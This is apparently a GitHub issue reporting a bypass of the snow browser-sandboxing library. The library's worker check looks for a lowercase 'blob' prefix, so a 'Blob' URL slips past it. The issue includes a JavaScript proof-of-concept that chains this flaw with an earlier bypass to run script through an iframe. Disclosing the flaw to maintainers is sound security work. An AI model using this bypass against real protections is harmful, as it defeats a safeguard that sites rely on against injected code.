-
Notifications
You must be signed in to change notification settings - Fork 7
Open
Description
In order to prevent Blob URIs from being created within workers, snow overrides the Worker constructor using the following code:
const native = win.Worker;
win.Worker = function Worker(aURL, options) {
const url = typeof aURL === 'string' ? aURL : toString(aURL);
if (stringStartsWith(url, 'blob')) {
return new native(swap(url), options);
}
return new native(url, options);
};
// [...]
function swap(url) {
if (!blobs.has(url)) {
const content = syncGet(url);
const prefix = `(function() { Object.defineProperty(URL, 'createObjectURL', { value: () => { throw new Error(\`${BLOCKED_BLOB_MSG}\`) }}) }())`;
const js = prefix + '\n\n' + content;
blobs.set(url, createObjectURL(new Blob([js], {
type: 'text/javascript'
})));
}
return blobs.get(url);
}This code overrides the URL.createObjectURL function in every worker that is created from a URL that begins with 'blob'. Because URI schemes are case-insensitive, this can be bypassed simply by creating a worker with a URL that begins with 'Blob'. Here is a little demo for that:
blob = new Blob([`
console.log(URL.createObjectURL(new Blob(["test"])))
`], {type: "text/javascript"})
u = URL.createObjectURL(blob)
u = "B" + u.substring(1)
const w = new Worker(u)Building on top of arxenix's brilliant bypass in issue #43, this can be used to bypass Snow using the following PoC:
blob = new Blob([`
js_url = URL.createObjectURL(new Blob([\`
alert(origin)
\`], {type: "text/javascript"}))
postMessage(URL.createObjectURL(new Blob(['<script src="'+js_url+'"></script>'], {type: "text/html"})))
`], {type: "text/javascript"})
u = URL.createObjectURL(blob)
u = "B" + u.substring(1)
w = new Worker(u)
w.onmessage = (msg) => {
console.log(msg);
f = document.createElement("iframe");
document.body.appendChild(f)
f.src = msg.data;
}WofWca
Metadata
Metadata
Assignees
Labels
No labels